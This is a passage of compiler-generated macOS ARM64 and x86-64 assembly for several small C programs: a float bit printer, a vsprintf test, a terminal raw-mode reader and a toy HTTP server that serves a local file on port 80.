movl -40(%rbp), %ecx
movl -8(%rbp), %eax
andl $8388607, %ecx ## imm = 0x7FFFFF
andl $-8388608, %eax ## imm = 0xFF800000
orl %ecx, %eax
movl %eax, -8(%rbp)
movl -8(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _showBits ## -- Begin function showBits
.p2align 4, 0x90
_showBits: ## @showBits
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
cmpl $32, -28(%rbp)
jge LBB3_10
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
cmpl $1, -24(%rbp)
je LBB3_4
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
cmpl $10, -24(%rbp)
jne LBB3_5
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movb $32, (%rax,%rcx)
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
movl -28(%rbp), %eax
addl $-1, %eax
movl %eax, -28(%rbp)
jmp LBB3_9
LBB3_5: ## in Loop: Header=BB3_1 Depth=1
movl $31, %ecx
subl -28(%rbp), %ecx
movl $1, %eax
## kill: def $cl killed $ecx
shll %cl, %eax
movl %eax, -20(%rbp)
movl -4(%rbp), %eax
andl -20(%rbp), %eax
cmpl $0, %eax
je LBB3_7
## %bb.6: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movb $49, (%rax,%rcx)
jmp LBB3_8
LBB3_7: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movb $48, (%rax,%rcx)
LBB3_8: ## in Loop: Header=BB3_1 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB3_9: ## in Loop: Header=BB3_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB3_1
LBB3_10:
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -16(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _justBits ## -- Begin function justBits
.p2align 4, 0x90
_justBits: ## @justBits
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
cmpl $0, -20(%rbp)
setge %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
cltq
cmpq $0, %rax
je LBB4_2
## %bb.1:
leaq L___func__.justBits(%rip), %rdi
leaq L_.str.6(%rip), %rsi
leaq L_.str.7(%rip), %rcx
movl $144, %edx
callq ___assert_rtn
LBB4_2:
jmp LBB4_3
LBB4_3:
movq -16(%rbp), %rdi
callq _strlen
movslq -20(%rbp), %rcx
cmpq %rcx, %rax
je LBB4_5
## %bb.4:
movb $0, -1(%rbp)
jmp LBB4_12
LBB4_5:
jmp LBB4_6
LBB4_6: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB4_11
## %bb.7: ## in Loop: Header=BB4_6 Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $48, %eax
je LBB4_10
## %bb.8: ## in Loop: Header=BB4_6 Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $49, %eax
je LBB4_10
## %bb.9:
movb $0, -1(%rbp)
jmp LBB4_12
LBB4_10: ## in Loop: Header=BB4_6 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB4_6
LBB4_11:
movb $1, -1(%rbp)
LBB4_12:
movb -1(%rbp), %al
andb $1, %al
movzbl %al, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "bits : %s\n"
L_.str.1: ## @.str.1
.asciz "float: %0.10f\n"
L_.str.2: ## @.str.2
.asciz "usage: %s Sign Exp Frac"
L_.str.3: ## @.str.3
.asciz "invalid Sign: %s"
L_.str.4: ## @.str.4
.asciz "invalid Exp: %s"
L_.str.5: ## @.str.5
.asciz "invalid Frac: %s"
L___func__.justBits: ## @__func__.justBits
.asciz "justBits"
L_.str.6: ## @.str.6
.asciz "247019271.c"
L_.str.7: ## @.str.7
.asciz "len >= 0"
.subsections_via_symbols
| the_stack_data/247019271.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test22597 ; -- Begin function test22597
.p2align 2
_test22597: ; @test22597
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #56]
add x9, sp, #48
add x8, x29, #16
str x8, [x9]
ldr x8, [sp, #48]
str x8, [sp, #40]
ldr x9, [sp, #48]
ldr x8, [x9]
add x9, x9, #8
str x9, [sp, #48]
str x8, [sp, #24]
ldr x8, [sp, #24]
str x8, [sp, #32]
ldr x8, [sp, #32]
ldrsb w8, [x8]
subs w8, w8, #104
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x8, [sp, #32]
ldrsb w10, [x8]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-44]
b LBB0_3
LBB0_2:
ldr x1, [sp, #56]
ldr x2, [sp, #40]
sub x0, x29, #40
bl _vsprintf
str w0, [sp, #20]
ldr w8, [sp, #20]
stur w8, [x29, #-44]
b LBB0_3
LBB0_3:
ldur w8, [x29, #-44]
str w8, [sp, #16] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
bl ___stack_chk_fail
LBB0_5:
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _test22597
subs w8, w0, #8
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-4]
b LBB1_3
LBB1_2:
stur wzr, [x29, #-4]
b LBB1_3
LBB1_3:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "test22597 failed `%c`\n"
l_.str.1: ; @.str.1
.asciz ", %s!"
l_.str.2: ; @.str.2
.asciz "hello"
l_.str.3: ; @.str.3
.asciz "test22597 failed\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test22597 ## -- Begin function test22597
.p2align 4, 0x90
_test22597: ## @test22597
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $336, %rsp ## imm = 0x150
testb %al, %al
je LBB0_10
## %bb.9:
movaps %xmm0, -256(%rbp)
movaps %xmm1, -240(%rbp)
movaps %xmm2, -224(%rbp)
movaps %xmm3, -208(%rbp)
movaps %xmm4, -192(%rbp)
movaps %xmm5, -176(%rbp)
movaps %xmm6, -160(%rbp)
movaps %xmm7, -144(%rbp)
LBB0_10:
movq %r9, -264(%rbp)
movq %r8, -272(%rbp)
movq %rcx, -280(%rbp)
movq %rdx, -288(%rbp)
movq %rsi, -296(%rbp)
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -112(%rbp)
leaq -32(%rbp), %rax
leaq -304(%rbp), %rcx
movq %rcx, 16(%rax)
leaq 16(%rbp), %rcx
movq %rcx, 8(%rax)
movl $48, 4(%rax)
movl $8, (%rax)
leaq -64(%rbp), %rax
leaq -32(%rbp), %rcx
movq 16(%rcx), %rdx
movq %rdx, 16(%rax)
movups (%rcx), %xmm0
movups %xmm0, (%rax)
leaq -32(%rbp), %rax
movq %rax, -320(%rbp) ## 8-byte Spill
movl -32(%rbp), %eax
movl %eax, -308(%rbp) ## 4-byte Spill
cmpl $40, %eax
ja LBB0_2
## %bb.1:
movq -320(%rbp), %rcx ## 8-byte Reload
movl -308(%rbp), %edx ## 4-byte Reload
movslq %edx, %rax
addq 16(%rcx), %rax
addl $8, %edx
movl %edx, (%rcx)
movq %rax, -328(%rbp) ## 8-byte Spill
jmp LBB0_3
LBB0_2:
movq -320(%rbp), %rcx ## 8-byte Reload
movq 8(%rcx), %rax
movq %rax, %rdx
addq $8, %rdx
movq %rdx, 8(%rcx)
movq %rax, -328(%rbp) ## 8-byte Spill
LBB0_3:
movq -328(%rbp), %rax ## 8-byte Reload
movq (%rax), %rax
movq %rax, -120(%rbp)
movq -120(%rbp), %rax
movsbl (%rax), %eax
cmpl $104, %eax
je LBB0_5
## %bb.4:
movq -120(%rbp), %rax
movsbl (%rax), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -100(%rbp)
jmp LBB0_6
LBB0_5:
leaq -96(%rbp), %rdi
movq -112(%rbp), %rsi
leaq -64(%rbp), %rdx
callq _vsprintf
movl %eax, -124(%rbp)
leaq -32(%rbp), %rax
leaq -64(%rbp), %rax
movl -124(%rbp), %eax
movl %eax, -100(%rbp)
LBB0_6:
movl -100(%rbp), %eax
movl %eax, -332(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_8
## %bb.7:
movl -332(%rbp), %eax ## 4-byte Reload
addq $336, %rsp ## imm = 0x150
popq %rbp
retq
LBB0_8:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str.1(%rip), %rdi
leaq L_.str.2(%rip), %rsi
movb $0, %al
callq _test22597
cmpl $8, %eax
je LBB1_2
## %bb.1:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -4(%rbp)
jmp LBB1_3
LBB1_2:
movl $0, -4(%rbp)
LBB1_3:
movl -4(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "test22597 failed `%c`\n"
L_.str.1: ## @.str.1
.asciz ", %s!"
L_.str.2: ## @.str.2
.asciz "hello"
L_.str.3: ## @.str.3
.asciz "test22597 failed\n"
.subsections_via_symbols
| the_stack_data/95450577.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _enableRawMode ; -- Begin function enableRawMode
.p2align 2
_enableRawMode: ; @enableRawMode
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
mov w0, #0
str w0, [sp, #12] ; 4-byte Folded Spill
add x1, sp, #16
str x1, [sp] ; 8-byte Folded Spill
bl _tcgetattr
ldr x2, [sp] ; 8-byte Folded Reload
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldr x8, [sp, #40]
and x8, x8, #0xfffffffffffffff7
str x8, [sp, #40]
mov w1, #2
bl _tcsetattr
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
mov w0, #0
sub x1, x29, #5
mov x2, #1
bl _read
subs x8, x0, #1
cset w8, ne
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldursb w8, [x29, #-5]
subs w8, w8, #113
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
b LBB1_1
LBB1_5:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _enableRawMode ## -- Begin function enableRawMode
.p2align 4, 0x90
_enableRawMode: ## @enableRawMode
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
xorl %edi, %edi
leaq -80(%rbp), %rsi
callq _tcgetattr
movq -56(%rbp), %rax
andq $-9, %rax
movq %rax, -56(%rbp)
xorl %edi, %edi
movl $2, %esi
leaq -80(%rbp), %rdx
callq _tcsetattr
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
addq $80, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
xorl %edi, %edi
leaq -5(%rbp), %rsi
movl $1, %edx
callq _read
movq %rax, %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $1, %rcx
movb %al, -6(%rbp) ## 1-byte Spill
jne LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movsbl -5(%rbp), %eax
cmpl $113, %eax
setne %al
movb %al, -6(%rbp) ## 1-byte Spill
LBB1_3: ## in Loop: Header=BB1_1 Depth=1
movb -6(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_4
jmp LBB1_5
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_1
LBB1_5:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/15953.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #6224
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #1, lsl #12 ; =4096
sub sp, sp, #2128
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #180]
str w0, [sp, #176]
str x1, [sp, #168]
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [sp, #144]
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [sp, #136]
add x0, sp, #2184
mov x1, #2000
bl _bzero
add x0, sp, #1184
mov x1, #1000
bl _bzero
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
str x8, [sp, #128]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fopen
mov x8, x0
str x8, [sp, #120]
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #180]
b LBB0_25
LBB0_2:
str wzr, [sp, #116]
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x0, [sp, #120]
bl _fgetc
str w0, [sp, #156]
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #156]
ldrsw x10, [sp, #116]
add x9, sp, #1184
strb w8, [x9, x10]
ldr w8, [sp, #116]
add w8, w8, #1
str w8, [sp, #116]
b LBB0_3
LBB0_5:
ldr x1, [sp, #136]
add x0, sp, #2184
str x0, [sp, #96] ; 8-byte Folded Spill
mov x2, #2000
str x2, [sp, #88] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #88] ; 8-byte Folded Reload
ldr x0, [sp, #96] ; 8-byte Folded Reload
add x1, sp, #1184
bl ___strcat_chk
mov w0, #2
mov w1, #1
mov w2, #0
bl _socket
str w0, [sp, #164]
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _perror
mov w8, #-1
str w8, [sp, #180]
b LBB0_25
LBB0_7:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
sub x1, x29, #40
mov w8, #2
sturb w8, [x29, #-39]
stur wzr, [x29, #-36]
mov w8, #20480
sturh w8, [x29, #-38]
ldr w0, [sp, #164]
mov w2, #16
bl _bind
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _perror
mov w8, #-1
str w8, [sp, #180]
b LBB0_25
LBB0_9:
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
ldr w0, [sp, #164]
mov w1, #3
bl _listen
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
add x2, sp, #112
mov w8, #16
str w8, [sp, #112]
ldr w0, [sp, #164]
sub x1, x29, #56
bl _accept
str w0, [sp, #160]
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _perror
mov w8, #-1
str w8, [sp, #180]
b LBB0_25
LBB0_11:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
str wzr, [sp, #108]
b LBB0_12
LBB0_12: ; =>This Loop Header: Depth=1
; Child Loop BB0_14 Depth 2
ldr w0, [sp, #160]
add x1, sp, #1, lsl #12 ; =4096
add x1, x1, #88
mov x2, #2000
mov w3, #0
bl _recv
mov x8, x0
mov x9, x0
str w9, [sp, #108]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_21
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_12 Depth=1
mov x9, sp
add x8, sp, #1, lsl #12 ; =4096
add x8, x8, #88
str x8, [sp, #72] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
add x0, sp, #184
str x0, [sp, #64] ; 8-byte Folded Spill
mov x1, #1000
str x1, [sp, #80] ; 8-byte Folded Spill
bl _bzero
ldr x0, [sp, #64] ; 8-byte Folded Reload
ldr x1, [sp, #72] ; 8-byte Folded Reload
ldr x2, [sp, #80] ; 8-byte Folded Reload
bl ___strcat_chk
mov w8, #19
str w8, [sp, #104]
b LBB0_14
LBB0_14: ; Parent Loop BB0_12 Depth=1
; => This Inner Loop Header: Depth=2
ldrsw x8, [sp, #104]
str x8, [sp, #56] ; 8-byte Folded Spill
add x0, sp, #1, lsl #12 ; =4096
add x0, x0, #88
bl _strlen
ldr x8, [sp, #56] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB0_17
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_14 Depth=2
ldrsw x9, [sp, #104]
add x8, sp, #184
add x8, x8, x9
strb wzr, [x8]
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_14 Depth=2
ldr w8, [sp, #104]
add w8, w8, #1
str w8, [sp, #104]
b LBB0_14
LBB0_17: ; in Loop: Header=BB0_12 Depth=1
mov x9, sp
add x8, sp, #184
str x8, [sp, #48] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
ldr x0, [sp, #48] ; 8-byte Folded Reload
ldr x1, [sp, #144]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_19
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_12 Depth=1
ldr w8, [sp, #160]
str w8, [sp, #44] ; 4-byte Folded Spill
add x0, sp, #2184
str x0, [sp, #32] ; 8-byte Folded Spill
bl _strlen
ldr x1, [sp, #32] ; 8-byte Folded Reload
mov x2, x0
ldr w0, [sp, #44] ; 4-byte Folded Reload
bl _write
b LBB0_20
LBB0_19: ; in Loop: Header=BB0_12 Depth=1
ldr w8, [sp, #160]
str w8, [sp, #28] ; 4-byte Folded Spill
ldr x8, [sp, #128]
str x8, [sp, #16] ; 8-byte Folded Spill
ldr x0, [sp, #128]
bl _strlen
ldr x1, [sp, #16] ; 8-byte Folded Reload
mov x2, x0
ldr w0, [sp, #28] ; 4-byte Folded Reload
bl _write
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_12 Depth=1
b LBB0_12
LBB0_21:
ldr w8, [sp, #108]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_23
b LBB0_22
LBB0_22:
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
b LBB0_24
LBB0_23:
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _perror
mov w8, #-1
str w8, [sp, #180]
b LBB0_25
LBB0_24:
str wzr, [sp, #180]
b LBB0_25
LBB0_25:
ldr w8, [sp, #180]
str w8, [sp, #12] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26:
bl ___stack_chk_fail
LBB0_27:
ldr w0, [sp, #12] ; 4-byte Folded Reload
add sp, sp, #1, lsl #12 ; =4096
add sp, sp, #2128
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "GET /1.txt HTTP/1.1"
l_.str.1: ; @.str.1
.asciz "HTTP/1.0 200 OK\r\nContent-Length: 15\r\n\r\n"
l_.str.2: ; @.str.2
.asciz "HTTP/1.0 404 FILE NOT FOUND\r\n\r\n"
l_.str.3: ; @.str.3
.asciz "1.txt"
l_.str.4: ; @.str.4
.asciz "r"
l_.str.5: ; @.str.5
.asciz "open 1.txt failed!\n"
l_.str.6: ; @.str.6
.asciz "create socket failed"
l_.str.7: ; @.str.7
.asciz "socket created"
l_.str.8: ; @.str.8
.asciz "bind failed"
l_.str.9: ; @.str.9
.asciz "bind done"
l_.str.10: ; @.str.10
.asciz "waiting for incoming connections..."
l_.str.11: ; @.str.11
.asciz "accept failed"
l_.str.12: ; @.str.12
.asciz "connection accepted"
l_.str.13: ; @.str.13
.asciz "%s\n"
l_.str.14: ; @.str.14
.asciz "client disconnected"
l_.str.15: ; @.str.15
.asciz "recv failed"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $6192, %eax ## imm = 0x1830
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -6068(%rbp)
movl %edi, -6072(%rbp)
movq %rsi, -6080(%rbp)
leaq L_.str(%rip), %rax
movq %rax, -6104(%rbp)
leaq L_.str.1(%rip), %rax
movq %rax, -6112(%rbp)
leaq -4048(%rbp), %rdi
xorl %esi, %esi
movl $2000, %edx ## imm = 0x7D0
callq _memset
leaq -5056(%rbp), %rdi
xorl %esi, %esi
movl $1000, %edx ## imm = 0x3E8
callq _memset
leaq L_.str.2(%rip), %rax
movq %rax, -6120(%rbp)
leaq L_.str.3(%rip), %rdi
leaq L_.str.4(%rip), %rsi
callq _fopen
movq %rax, -6128(%rbp)
cmpq $0, %rax
jne LBB0_2
## %bb.1:
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -6068(%rbp)
jmp LBB0_25
LBB0_2:
movl $0, -6132(%rbp)
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -6128(%rbp), %rdi
callq _fgetc
movl %eax, -6092(%rbp)
cmpl $-1, %eax
je LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movl -6092(%rbp), %eax
movb %al, %cl
movslq -6132(%rbp), %rax
movb %cl, -5056(%rbp,%rax)
movl -6132(%rbp), %eax
addl $1, %eax
movl %eax, -6132(%rbp)
jmp LBB0_3
LBB0_5:
leaq -4048(%rbp), %rdi
movq -6112(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
leaq -4048(%rbp), %rdi
leaq -5056(%rbp), %rsi
movl $2000, %edx ## imm = 0x7D0
callq ___strcat_chk
movl $2, %edi
movl $1, %esi
xorl %edx, %edx
callq _socket
movl %eax, -6084(%rbp)
cmpl $0, %eax
jge LBB0_7
## %bb.6:
leaq L_.str.6(%rip), %rdi
callq _perror
movl $-1, -6068(%rbp)
jmp LBB0_25
LBB0_7:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
movb $2, -23(%rbp)
movl $0, -20(%rbp)
movw $20480, -22(%rbp) ## imm = 0x5000
movl -6084(%rbp), %edi
leaq -24(%rbp), %rsi
movl $16, %edx
callq _bind
cmpl $0, %eax
jge LBB0_9
## %bb.8:
leaq L_.str.8(%rip), %rdi
callq _perror
movl $-1, -6068(%rbp)
jmp LBB0_25
LBB0_9:
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
movl -6084(%rbp), %edi
movl $3, %esi
callq _listen
leaq L_.str.10(%rip), %rdi
movb $0, %al
